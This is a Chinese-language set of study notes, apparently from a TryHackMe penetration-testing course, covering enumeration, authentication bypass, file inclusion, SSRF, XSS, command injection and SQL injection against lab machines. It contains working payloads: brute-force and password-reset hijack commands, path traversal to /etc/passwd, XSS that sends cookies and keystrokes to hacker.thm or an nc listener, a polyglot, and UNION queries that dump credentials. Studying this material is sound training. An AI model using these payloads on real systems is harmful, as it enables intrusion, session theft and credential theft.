该学习路径涵盖了使您能够成功成为初级渗透测试员的核心技术技能。完成此路径后,您将具备对 Web 应用程序和企业基础架构执行安全评估所需的实用技能。
子域名枚举
作用:扩大我们的攻击面,以尝试发现更多潜在的漏洞点
三种子域名枚举方法:
- Brute Force (暴力)
- OSINT(开源智能)
- 虚拟主机
OSINT-SLL/TLS证书
当 CA(证书颁发机构)为域创建 SSL/TLS(安全套接字层/传输层安全)证书时,CA 会参与所谓的“证书透明度 (CT) 日志”。这些是为域名创建的每个 SSL/TLS 证书的可公开访问的日志。证书透明度日志的目的是阻止恶意和意外制作的证书被使用。我们可以利用这项服务来发现属于某个域的子域。https://crt.sh
https://transparencyreport.google.com/https/certificatesOSINT-搜索引擎
搜索引擎包含数万亿个指向超过 10 亿个网站的链接,这可能是寻找新子域的绝佳资源。 在 Google 等网站上使用高级搜索方法,例如 site:filter,可以缩小搜索结果的范围。例如,“-site:www.domain.com site:*.domain.com”将仅包含指向域名 domain.com 的结果,但不包括指向 www.domain.com 的任何链接;因此,它只向我们显示属于 domain.com 的子域名。
方法:
site:www.tryhackme.com
site:*.tryhackme.com
DNS暴力破解
Bruteforce DNS(域名系统)枚举是从常用子域的预定义列表中尝试数十、数百、数千甚至数百万个不同的可能子域的方法。
由于此方法需要许多请求,因此我们使用工具将其自动化以加快处理速度。
OSINT-Sublist3r
为了加快 OSINT 子域发现的过程,我们可以借助 Sublist3r等工具自动执行上述方法,
发现oneforall集成了这个工具 oneforall yyds
虚拟主机
某些子域并不总是托管在可公开访问的DNS
结果中,例如 Web 应用程序的开发版本或管理门户。
相反,DNS 记录可以保存在私有 DNS 服务器上,或者记录在开发人员机器上的 /etc/hosts 文件(或 Windows 用户的 c:\windows\system32\drivers\etc\hosts 文件)中,该文件将域名映射到IP 地址。
因为当客户端请求网站时,Web 服务器可以从一个服务器托管多个网站,所以服务器从 Host 标头中知道客户端想要哪个网站。我们可以通过对其进行更改并监视响应来查看我们是否发现了一个新网站来利用此主机标头。
FUFF工具
身份验证绕过
在我们尝试用弱口令的时候,我们用admin,发现用户名存在,我们就可以用这个方法爆破一波用户名
出现4个用户名
admin
robert
simon
steve
把这4个用户名保存成一个叫usernames.txt文件
然后用下面这个爆破他的密码
1 | ffuf -w usernames.txt:W1,/usr/share/wordlists/seclists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.10.238.105/customers/login -fc 200 |
逻辑缺陷
什么是逻辑缺陷?
有时身份验证过程包含逻辑缺陷。逻辑缺陷是指应用程序的典型逻辑路径被黑客绕过、规避或操纵。网站的任何区域都可能存在逻辑缺陷,但我们将重点关注与此实例中的身份验证相关的示例
逻辑缺陷示例
下面的模拟代码示例检查客户端访问的路径的开头是否以 /admin 开头,如果是,则进一步检查客户端是否实际上是管理员。
如果页面不以 /admin 开头,则该页面将显示给客户端。
1 | if( url.substr(0,6) === '/admin') { |
为上面的PHP代码示例使用三个等号 (===),所以它在字符串上寻找完全匹配,包括相同的字母大小写。该代码存在逻辑缺陷,因为请求 /adMin的未经身份验证的用户 将不会检查他们的权限并将页面显示给他们,完全绕过身份验证检查。
下面这个案例就是,我们有了一个重置密码的一个邮箱,在其中我们要输入可用的邮箱和可用的用户名,然后他会把密码发到那个邮箱里面去。我们可以用curl工具在其中进行截断,把重置密码的邮箱发到自己的邮箱里面来。
1 | curl 'http://10.10.238.105/customers/reset?email=robert%40acmeitsupport.thm' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=robert' |
1 | curl 'http://10.10.238.105/customers/reset?email=robert%40acmeitsupport.thm' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=robert&email=attacker@hacker.com' |
cookie篡改
有些cookie是纯文本的形式保存的例如
我们可以用更改其中的请求达到伪造的目的
1 | curl -H "Cookie: logged_in=true; admin=false" http://10.10.238.105/cookie-test |
但是有些cookie可能是md5,sha256,sha512,sha1这些算法,这些有的可以通过网站列举找到。
IDOR(越权漏洞)
IDOR 代表不安全的直接对象引用,是一种访问控制漏洞。
当 Web 服务器接收用户提供的输入以检索对象(文件、数据、文档)时,可能会发生这种类型的漏洞,对输入数据过于信任,并且未在服务器端验证以确认请求的对象属于请求它的用户。
选一个我们感觉存在越权漏洞的,我选的订单确认
网站中常用base64
可以改id查看信息
文件包含
类型
- 文件包含 (LFI)
- 远程文件包含 (RFI)
- 目录遍历
目录遍历(路径遍历)
Web 安全漏洞允许攻击者读取操作系统资源,例如运行应用程序的服务器上的本地文件。攻击者通过操纵和滥用 Web 应用程序的 URL 来利用此漏洞来定位和访问存储在应用程序根目录之外的文件或目录。
当用户的输入被传递给PHP中的 ==file_get_contents== 等函数时,就会发生路径 遍历漏洞。需要注意的是,该函数不是漏洞的主要贡献者。通常糟糕的输入验证或过滤是漏洞的原因。 在PHP中,您可以使用 ==file_get_contents== 来读取文件的内容。
就是通过../上一级目录多加几个到根目录然后读取一些特有文件
在linux中一般读取/etc/passwd /etc/shadow
在windos中/boot.ini /windows/win.ini
文件 | 描述 |
---|---|
/etc/issue | 包含要在登录提示之前打印的消息或系统标识。 |
/etc/profile | 控制系统范围的默认变量,例如 导出变量、文件创建掩码 (umask)、终端类型、邮件消息以指示新邮件何时到达 |
/proc/version | 指定Linux内核的版本 |
/etc/passwd | 拥有所有有权访问系统的注册用户 |
/etc/shadow | 包含有关系统用户密码的信息 |
/root/.bash_history | 包含root用户的历史命令 |
/var/log/dmessage | 包含全局系统消息,包括系统启动期间记录的消息 |
/var/mail/root | 根用户的所有电子邮件 |
/root/.ssh/id_rsa | 服务器上 root 或任何已知有效用户的私有 SSH 密钥 |
/var/log/apache2/access.log | Apache webserver的访问请求 |
C:\boot.ini | 包含带有 BIOS 固件的计算机的启动选项 |
本地文件包含(LFI)
针对 Web 应用程序的 LFI 攻击通常是由于开发人员缺乏安全意识。在PHP中,使用==include==、==require==
、==include_once==和==require_once==等函数通常会导致 Web 应用程序易受攻击。在这个房间里,我们将选择PHP,但值得注意的是,在使用其他语言(如 ASP、JSP 甚至在 Node.js 应用程序中)时也会出现 LFI 漏洞。LFI 漏洞利用遵循与路径遍历相同的概念。
LFI绕过
Warning: include(languages/THM.php): failed to open stream: No such file or directory in /var/www/html/THM-4/index.php on line 12
输入无效的包含文件会报这样的错
一条错误消息会显示包含函数的样子: ==include(languages/THM.php);==
错误消息还披露了有关完整 Web 应用程序目录路径的另一条重要信息,即 ==/var/www/html/THM-4/==
使用4个../是因为这个前面有4阶目录
这里发现includes自动给/etc/passwd带了一个.php
使用00截断(%00)在url上面访问/etc/passwd不用表单提交
成功绕过
注意:%00技巧已修复,不适用于PHP 5.3.4及更高版本。
输入../../../../etc/passwd发现报错,并且报错里面没有发现我们输入的../说明把../给过滤了
绕过:双写
如果 Web 应用程序要求提供必须包含目录的输入,
例如: http://webapp.thm/index.php?lang=languages/EN.php ,
那么,为了利用它,我们需要包含有效载荷中的目录,如下所示:
==?lang=languages/../../../../../etc/passwd==
把目录给带上,就行了
远程文件包含(RFI)
远程文件包含 (RFI) 是一种将远程文件包含到易受攻击的应用程序中的技术。与 LFI 一样,RFI 发生在不正确地清理用户输入时,允许攻击者将外部 URL 注入到包含函数中。RFI 的一项要求是==allow_url_fopen==选项需要打开。
后果:
- 敏感信息披露
- 跨站脚本 (XSS)
- 拒绝服务 ( DoS )
修复:
- 使用最新版本更新系统和服务,包括 Web 应用程序框架。
- 关闭PHP错误以避免泄露应用程序的路径和其他可能泄露的信息。
- Web 应用程序防火墙 (WAF) 是帮助缓解 Web 应用程序攻击的好选择。
- 如果您的 Web 应用程序不需要某些导致文件包含漏洞的PHP功能,请禁用它们,例如allow_url_fopen on 和allow_url_include。
- 仔细分析 Web 应用程序,只允许需要的协议和PHP包装器。
- 永远不要相信用户输入,并确保针对文件包含实施正确的输入验证。
- 对文件名和位置实施白名单以及黑名单。
Lab1
Lab2
只有管理人员才能访问
抓包发现cookie设置是guest 可以直接修改成admins
修改admins后访问成功,但是不知道文件包含的参数是什么
传的唯一一个参数在这里,修改cookie为../../../../etc/passwd 他还给了.php %00截断payload:Cookie: THM=../../../../etc/flag2%00
Lab3
包含welcome可以
/etc/passwd报错
双写没用,抓包改post发送依然是有.php的后缀,%00截断获取成功
远程文件包含
题目要求执行hostname
kali创建一个cmd.txt文件
1 | print exec('hostname'); PHP |
python开一个http服务
1 | python -m http.server 9001 |
直接访问就行了
SSRF
简介:服务器端请求伪造。这是一个允许恶意用户使网络服务器向攻击者选择的资源发出附加或编辑的HTTP
请求的漏洞。
类型:常规SSRF,盲blindSSRF
影响:
- 进入未经授权的区域。
- 访问客户/组织数据。
- 能够扩展到内部网络。
- 显示身份验证令牌/凭据。
例子
1 | https://website.thm/item/2?server=api 要我们访问 https://server.website.thm/flag?id=9 |
可以通过多种不同方式在 Web 应用程序中发现潜在的 SSRF 漏洞。以下是四个常见位置的示例:
寻找SSRF
在地址栏中的参数中使用完整 URL 时:
表单中的隐藏字段:
部分 URL,例如主机名:
或者也许只有 URL 的路径:
其中一些示例比其他示例更容易利用,这就是需要大量试验和错误才能找到有效负载的地方。
如果使用不向您反映任何输出的盲 SSRF,您将需要使用外部HTTP日志记录工具来监控请求,例如 requestbin.com、您自己的 HTTP 服务器或 Burp Suite 的 Collaborator 客户端。
常见的SSRF防御绕过
- 黑名单和白名单 打开重定向
黑名单的绕过
Web 应用程序可以使用拒绝列表来保护敏感端点、IP 地址或域不被公众访问,同时仍然允许访问其他位置。
- Web 应用程序可以使用拒绝列表来保护敏感端点、IP 地址或域不被公众访问,同时仍然允许访问其他位置。
- 限制访问的特定端点是 localhost,它可能包含服务器性能数据或其他敏感信息,因此 localhost 和 127.0.0.1 等域名将出现在拒绝列表中。
- 攻击者可以通过使用替代本地主机引用(例如 0、0.0.0.0、0000、127.1、127...*、2130706433、017700000001)或具有解析为 IP 地址 127.0.0.1 的DNS
- 记录的子域来绕过拒绝列表例如 127.0.0.1.nip.io。
白名单绕过
允许列表是所有请求都被拒绝的地方,除非它们出现在列表中或匹配特定模式,例如参数中使用的 URL 必须以 https://website.thm 开头的规则。 攻击者可以通过在攻击者的域名上创建子域来快速规避此规则,例如 https://website.thm.attackers-domain.thm。 应用程序逻辑现在将允许此输入并让攻击者控制内部HTTP 请求。 即:原域名上创建子域名绕过
打开重定向
如果上述绕过方法不起作用,攻击者还可以使用另一种技巧,即开放重定向。开放式重定向是服务器上的一个端点,网站访问者会自动重定向到另一个网站地址。
以链接 https://website.thm/link?url=https://tryhackme.com 为例。 创建此端点是为了记录访问者出于广告/营销目的而单击此链接的次数。 但是想象一下,有一个潜在的 SSRF 漏洞,它具有严格的规则,只允许以 https://website.thm/ 开头的 URL。 攻击者可以利用上述功能将内部HTTP 请求重定向到攻击者选择的域。
案例
更新头像的地方,查看源代码
随便点一个头像可以看到单选的那个小圆点每一个地址对应一个上面的图片地址,这里就有ssrf漏洞
把地址改为靶场要我们访问的地址点击更新头像
头像更新成功,解密当前flag
XSS
简介:
在 XSS 中,payload 是我们希望在目标计算机上执行的 JavaScript 代码。有效载荷有两个部分,意图和修改。
概念证明:
这是最简单的有效负载,您要做的就是证明您可以在网站上实现 XSS。这通常是通过在页面上弹出一个带有文本字符串的警告框来完成的,例如:
1 | <script>alert('XSS');</script> |
会话窃取:
用户会话的详细信息,例如登录令牌,通常保存在目标机器上的 cookie 中。下面的 JavaScript 获取目标的 cookie,base64 对 cookie 进行编码以确保传输成功,然后将其发布到黑客控制的网站进行登录。一旦黑客拥有了这些 cookie,他们就可以接管目标的会话并以该用户的身份登录。
1 | <script>fetch('https://hacker.thm/steal?cookie=' + btoa(document.cookie));</script> |
按键记录器:
下面的代码充当键盘记录器。这意味着您在网页上键入的任何内容都将被转发到黑客控制下的网站。如果网站负载安装在接受的用户登录或信用卡详细信息上,这可能会非常有害。
1 | <script>document.onkeypress = function(e) { fetch('https://hacker.thm/log?key=' + btoa(e.key) );}</script> |
商业逻辑:
这个有效载荷比上面的例子要具体得多。这将是关于调用特定的网络资源或 JavaScript 函数。例如,想象一个用于更改用户电子邮件地址的 JavaScript 函数,名为user.changeEmail(). 您的有效载荷可能如下所示:
1 | <script>user.changeEmail('attacker@hacker.thm');</script> |
现在帐户的电子邮件地址已更改,攻击者可能会执行重置密码攻击。
反射性XSS
当HTTP请求中的用户提供的数据未经任何验证包含在网页源中时,就会发生反射型 XSS 。
示例场景:
一个网站,如果您输入错误的输入,则会显示错误消息。错误消息的内容取自查询字符串中的错误参数,并直接构建到页面源中。
应用程序不检查错误参数的内容,从而允许攻击者插入恶意代码。
潜在影响:
攻击者可以向潜在受害者发送链接或将其嵌入到包含 JavaScript 有效负载的另一个网站上的 iframe 中,让他们在浏览器上执行代码,从而可能泄露会话或客户信息。
如何测试反射型 XSS:
您需要测试每个可能的入口点;这些包括:
- URL 查询字符串中的参数
- URL 文件路径
- 有时HTTP标头(尽管在实践中不太可能被利用)
当HTTP请求中的用户提供的数据未经任何验证包含在网页源中时,就会发生反射型 XSS 。
示例场景:
一个网站,如果您输入错误的输入,则会显示错误消息。错误消息的内容取自查询字符串中的错误参数,并直接构建到页面源中。
应用程序不检查错误参数的内容,从而允许攻击者插入恶意代码。
潜在影响:
攻击者可以向潜在受害者发送链接或将其嵌入到包含 JavaScript 有效负载的另一个网站上的 iframe 中,让他们在浏览器上执行代码,从而可能泄露会话或客户信息。
存储型XSS
顾名思义,XSS 有效负载存储在 Web 应用程序中(例如,在数据库中),然后在其他用户访问该站点或网页时运行。
示例场景:
允许用户发表评论的博客网站。
不幸的是,不会检查这些评论是否包含 JavaScript 或过滤掉任何恶意代码。
如果我们现在发布包含 JavaScript 的评论,这将存储在数据库中,并且现在访问该文章的每个其他用户都将在他们的浏览器中运行 JavaScript。
潜在影响:
恶意 JavaScript 可能会将用户重定向到另一个站点、窃取用户的会话 cookie 或在充当访问用户时执行其他网站操作。
如何测试存储型 XSS:
您需要测试似乎存储数据的每个可能的入口点,然后在其他用户可以访问的区域中显示出来;其中一个小例子可能是:
- 对博客的评论
- 用户个人资料信息
- 网站列表
有时开发人员认为在客户端限制输入值是足够好的保护,因此将值更改为 Web 应用程序不期望的值是发现存储的 XSS 的一个很好的来源,例如,期望一个整数的年龄字段一个下拉菜单,但是,您手动发送请求,而不是使用允许您尝试恶意负载的表单。
一旦您找到了一些存储在 Web 应用程序中的数据,您就需要确认您可以成功运行您的 JavaScript 有效负载;
您的有效负载将取决于您的代码在应用程序中的反映位置(您将在任务 6 中了解有关此内容的更多信息)。
DOM型XSS
DOM代表文档对象模型,是HTML和 XML 文档的编程接口。它表示页面,以便程序可以更改文档结构、样式和内容。网页是一个文档,该文档既可以显示在浏览器窗口中,也可以作为 HTML 源代码显示。HTML DOM 的示意图如下所示:
利用 DOM
基于 DOM 的 XSS 是 JavaScript 直接在浏览器中执行的地方,无需加载任何新页面或将数据提交给后端代码。当网站 JavaScript 代码作用于输入或用户交互时,执行发生。
示例场景:
网站的 JavaScript 从window.location.hash 参数中获取内容,然后将其写入当前正在查看的页面中的部分。哈希的内容不会检查恶意代码,从而允许攻击者将他们选择的 JavaScript 注入网页。
潜在影响:
精心制作的链接可能会发送给潜在受害者,将他们重定向到另一个网站或从页面或用户会话中窃取内容。
如何测试基于 Dom 的 XSS:
基于 DOM 的 XSS 可能难以测试,并且需要一定的 JavaScript 知识才能阅读源代码。您需要查找访问攻击者可以控制的某些变量的代码部分,例如“ window.location.x ”参数。
找到这些代码后,您需要查看它们是如何处理的,以及这些值是否曾经写入网页的 DOM 或传递给不安全的 JavaScript 方法,例如**eval()**。
实例:
级别一:
您会看到一个表格,要求您输入您的姓名,一旦您输入了您的姓名,它将显示在下面的一行中,
二级
三级
四级
五级
六级
多语种
1 | jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */onerror=alert('THM') )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert('THM')//>\x3e |
实例:盲XSS
创建一个支持票
绕过
1 | </textarea><script>alert('thm');</script> |
打cookie
开一个http服务nc -lvnp 9001
重新创建一个
1 | </textarea><script>fetch('http://开nc的ip+端口?cookie=' + btoa(document.cookie) );</script> |
然后cookie就发过来了
命令注入RCE
首先,让我们先了解一下什么是命令注入。命令注入是滥用应用程序的行为在操作系统上执行命令,使用与设备上的应用程序运行相同的权限。例如,在以名为的用户身份运行的 Web 服务器上实现命令注入joe将在该用户下执行命令joe- 并因此获得joe具有的任何权限。
命令注入漏洞也称为“远程代码执行”(RCE),因为攻击者可以欺骗应用程序执行他们提供的一系列有效负载,而无需直接访问机器本身(即交互式外壳)。网络服务器将处理此代码并在运行该应用程序的用户的权限和访问控制下执行它。
命令注入通常也被称为“远程代码执行”(RCE),因为它能够在应用程序中远程执行代码。这些漏洞通常对攻击者来说是最有利可图的,因为这意味着攻击者可以直接与易受攻击的系统进行交互。例如,攻击者可能会读取系统或用户文件、数据和类似性质的东西。
之所以存在此漏洞,是因为应用程序经常使用PHP、Python 和 NodeJS 等编程语言中的函数将数据传递给机器的操作系统并在机器的操作系统上进行系统调用。例如,从字段中获取输入并在文件中搜索条目。以下面这段代码片段为例:
在此代码片段中,应用程序获取用户在名为的输入字段中输入的数据$title在目录中搜索歌曲名称。让我们将其分解为几个简单的步骤。
应用程序将 MP3 文件存储在操作系统中包含的目录中。
用户输入他们想要搜索的歌曲名称。应用程序将此输入存储到$title变量中。
该$title变量中的数据被传递给命令grep以搜索名为songtitle 的文本文件。txt用于输入用户希望搜索的任何内容。
本次歌名搜索的输出。txt将确定应用程序是否通知用户歌曲存在与否。
现在,这类信息通常会存储在数据库中;然而,这只是应用程序从用户那里获取输入以与应用程序的操作系统交互的示例。
攻击者可以通过注入他们自己的命令让应用程序执行来滥用此应用程序。他们可以要求应用程序从更敏感的文件中读取数据,而不是grep用于搜索 中的条目。songtitle.txt
无论应用程序使用何种编程语言,都可能以这种方式滥用应用程序。只要应用程序处理并执行它,就会导致命令注入。例如,下面的这段代码片段是一个用 Python 编写的应用程序。
请注意,您不需要了解这些应用程序背后的语法。但是,出于某种原因,我已经概述了这个 Python 应用程序如何工作的步骤。
- “flask” 包用于设置 Web 服务器
- 使用“子进程”包在设备上执行命令的函数
- 我们在网络服务器中使用一个路由来执行所提供的任何内容。例如,要执行whoami,我们需要访问 http://flaskapp.thm/whoami
利用
盲RCE
RCE
检测盲命令注入
盲注是指发生命令注入;但是,没有可见的输出,因此不会立即引起注意。例如,执行了一个命令,但 Web 应用程序没有输出任何消息。
对于这种类型的命令注入,我们将需要使用会导致一些时间延迟的有效负载。例如,pingandsleep命令是重要的测试负载。举个例子,与您指定的ping 次数有关,应用ping程序将挂起x秒。
另一种检测盲命令注入的方法是强制输出。这可以通过使用重定向运算符来完成,例如>. 如果您对此不熟悉,我建议您查看Linux 基础模块。例如,我们可以告诉 Web 应用程序执行命令,例如whoami并将其重定向到文件。然后我们可以使用一个命令cat来读取这个新创建的文件的内容。
以这种方式测试命令注入通常很复杂,并且需要大量的实验,特别是因为命令的语法在 Linux 和 Windows 之间有所不同。
该curl 命令是测试命令注入的好方法。这是因为您可以使用curl 有效负载中的应用程序向和从应用程序传递数据。以下面的代码片段为例,一个简单的 curl 有效负载到应用程序是可能的命令注入。
1 | curl http://vulnerable.app/process.php%3Fsearch%3DThe%20Beatles%3B%20whoami |
检测详细命令注入
以这种方式检测命令注入可以说是两者中最简单的方法。详细命令注入是指应用程序向您提供有关正在发生或正在执行的事情的反馈或输出。
例如,ping或等命令的输出whoami直接显示在 Web 应用程序上。
有用的有效载荷
我已经为Linux和 Windows 编译了一些有价值的有效载荷到下表中。
Linux
payload | 描述 |
---|---|
whoami | 查看应用程序在哪个用户下运行。 |
ls | 列出当前目录的内容。您可能能够找到诸如配置文件、环境文件(令牌和应用程序密钥)之类的文件以及更多有价值的东西。 |
ping | 此命令将调用应用程序挂起。这对于测试盲命令注入的应用程序很有用。 |
sleep | 这是另一个有用的有效载荷,用于测试未ping安装机器的盲命令注入应用程序。 |
nc | Netcat 可用于在易受攻击的应用程序上生成反向 shell。您可以使用此立足点在目标计算机上导航以获取其他服务、文件或提升权限的潜在方法。 |
Windows
payload | 描述 |
---|---|
whoami | 查看应用程序在哪个用户下运行。 |
dir | 列出当前目录的内容。您可能能够找到诸如配置文件、环境文件(令牌和应用程序密钥)之类的文件以及更多有价值的东西。 |
ping | 此命令将调用应用程序挂起。这对于测试盲命令注入的应用程序很有用。 |
timeout | 此命令还将调用应用程序挂起。ping如果未安装命令,它对于测试应用程序的盲注命令也很有用。 |
修复 |
可以通过多种方式防止命令注入。从最小化使用编程语言中潜在危险的函数或库到过滤输入而不依赖用户输入的一切。我在下面详细介绍了这些。下面的例子是PHP编程语言;但是,相同的原则可以扩展到许多其他语言。
在PHP中,许多函数与操作系统交互以通过 shell 执行命令;这些包括:
- Exec
- Passthru
- System
以下面的这个片段为例。在这里,应用程序将只接受和处理输入到表单中的数字。这意味着whoami不会处理诸如此类的任何命令。
- 该应用程序将仅接受特定模式的字符(数字 0-9)
- 然后,应用程序将只继续执行这些全是数字的数据。
这些函数接受字符串或用户数据等输入,并将执行系统上提供的任何内容。任何使用这些功能而没有经过适当检查的应用程序都容易受到命令注入的攻击。
输入消毒
清理应用程序使用的用户输入是防止命令注入的好方法。这是一个指定用户可以提交的数据格式或类型的过程。例如,仅接受数字数据或删除任何特殊字符(如==>==、 ==&==和)的输入字段/。
在下面的代码片段中,filter_input PHP 函数用于检查通过输入表单提交的任何数据是否为数字。如果不是数字,则一定是无效输入。
绕过过滤器
应用程序将采用多种技术来过滤和清理从用户输入中获取的数据。这些过滤器会将您限制为特定的有效负载;但是,我们可以滥用应用程序背后的逻辑来绕过这些过滤器。例如,应用程序可能会去掉引号;我们可以改为使用它的十六进制值来获得相同的结果。
执行时,尽管给出的数据格式与预期的不同,但仍可以对其进行解释并获得相同的结果。
实例
https://github.com/payloadbox/command-injection-payload-list RCE查阅表
SQL 注入
SQL(结构化查询语言)注入,通常称为 SQLi,是一种对 Web 应用程序数据库服务器的攻击,会导致执行恶意查询。当 Web 应用程序使用未经正确验的用户输入与数据库通信时,攻击者可能会窃取、删除或更改私人和客户数据,并将 Web 应用程序身份验证方法攻击为私有或客户区。这就是为什么 SQLi 是最古老的 Web 应用程序漏洞之一,它也可能是最具破坏性的。
带内注入()
可以直接看到报错的语句
练习实验室的第一级包含一个模拟浏览器和一个网站,其中包含一个包含不同文章的博客,可以通过更改查询字符串中的 ID 号来访问这些文章。
发现基于错误的 SQL 注入的关键是通过尝试某些字符来中断代码的 SQL 查询,直到产生错误消息;这些最常见的是单撇号 ( ‘ ) 或引号 ( “ )。
尝试在 id=1 后输入撇号 ( ‘ ) 并按 Enter。您会看到这会返回一个 SQL 错误,通知您语法中的错误。您收到此错误消息的事实证实了 SQL 注入漏洞的存在。我们现在可以利用此漏洞并使用错误消息来了解有关数据库结构的更多信息。
我们需要做的第一件事是在不显示错误消息的情况下向浏览器返回数据。首先,我们将尝试 UNION 运算符,以便我们可以收到我们选择的额外结果。尝试将模拟浏览器 id 参数设置为:
1 | 1 UNION SELECT 1 |
此语句应生成一条错误消息,通知您 UNION SELECT 语句的列数与原始 SELECT 查询不同。所以让我们再试一次,但添加另一列:
1 | 1 UNION SELECT 1,2 |
再次出现同样的错误,所以让我们通过添加另一列来重复:
1 | 1 UNION SELECT 1,2,3 |
成功,错误信息消失了,正在显示文章,但是现在我们要显示我们的数据而不是文章。该文章正在显示,因为它在网站代码的某处获取了第一个返回的结果并显示了这一点。为了解决这个问题,我们需要第一个查询不产生任何结果。这可以简单地通过将文章 ID 从 1 更改为 0 来完成。
1 | 0 UNION SELECT 1,2,3 |
您现在将看到这篇文章只是由返回列值 1、2 和 3 的 UNION 选择的结果组成。我们可以开始使用这些返回的值来检索更多有用的信息。首先,我们将获得我们有权访问的数据库名称:
1 | 0 UNION SELECT 1,2,database() |
您现在将看到之前显示数字 3 的位置;它现在显示数据库的名称,即 sqli_one。
我们的下一个查询将收集此数据库中的表列表。
1 | 0 UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'sqli_one' |
在这个查询中有一些新的东西需要学习。首先, group_concat()方法 从多个返回的行中获取指定的列(在我们的例子中为 table_name),并将其放入一个用逗号分隔的字符串中。接下来是 information_schema 数据库;数据库的每个用户都可以访问它,它包含有关用户可以访问的所有数据库和表的信息。在这个特定的查询中,我们有兴趣列出 sqli_one 数据库中的所有表,即 article 和 staff_users。
由于第一级旨在发现 Martin 的密码,因此我们感兴趣的是 staff_users 表。我们可以再次利用 information_schema 数据库使用以下查询来查找该表的结构。
1 | 0 UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name = 'staff_users' |
这类似于前面的 SQL 查询。但是,我们要检索的信息已从 table_name 更改为 column_name,我们在 information_schema 数据库中查询的表已从 tables 更改为 columns,并且我们正在搜索 table_name 列的值为 staff_users的任何行。
查询结果为 staff_users 表提供了三列:id、密码和用户名。我们可以在下面的查询中使用用户名和密码列来检索用户的信息。
1 | 0 UNION SELECT 1,2,group_concat(username,':',password SEPARATOR '<br>') FROM staff_users |
我们再次使用 group_concat 方法将所有行返回到一个字符串中并使其更易于阅读。我们还添加了 ,’:’ 来分隔用户名和密码。我们没有用逗号分隔,而是选择了 HTML
标记,该标记强制每个结果位于单独的行上,以便于阅读。
SQL盲注(登录绕过)万能密码登录
盲 SQLi
与带内 SQL 注入不同,我们可以直接在屏幕上看到我们的攻击结果,盲 SQLi 是当我们几乎没有反馈来确认我们注入的查询是否,事实上,成功与否,这是因为错误消息已被禁用,但无论如何注入仍然有效。您可能会感到惊讶,我们所需要的只是一点点反馈来成功枚举整个数据库。
身份验证绕过
最直接的盲 SQL 注入技术之一是绕过登录表单等身份验证方法。在这种情况下,我们对从数据库中检索数据不感兴趣;我们只想通过登录。
连接到用户数据库的登录表单通常以这样一种方式开发,即 Web 应用程序对用户名和密码的内容不感兴趣,而更关心这两者是否在用户表中配对。基本而言,Web 应用程序询问数据库“您有用户名 bob 和密码 bob123的用户吗?”,数据库回答是或否(真/假),并根据该答案指示Web 应用程序是否允许您继续。
考虑到上述信息,没有必要枚举有效的用户名/密码对。我们只需要创建一个回复是/真的数据库查询。
实际的:
SQL 注入示例的第二级显示了这个确切的示例。我们可以在标有“SQL Query”的框中看到对数据库的查询如下:
1 | select * from users where username='%username%' and password='%password%' LIMIT 1; |
注意 %username% 和 %password% 值取自登录表单字段,SQL 查询框中的初始值将是空白的,因为这些字段当前为空。
要将其变为始终返回 true 的查询,我们可以在密码字段中输入以下内容:
1 | ' OR 1=1;-- |
这会将 SQL 查询变为以下内容:
1 | select * from users where username='' and password='' OR 1=1; |
因为 1=1 是一个 true 语句并且我们使用了 OR 运算符,所以这将始终导致查询返回 true,这满足了 Web 应用程序逻辑,即数据库找到了有效的用户名/密码组合并且应该允许访问.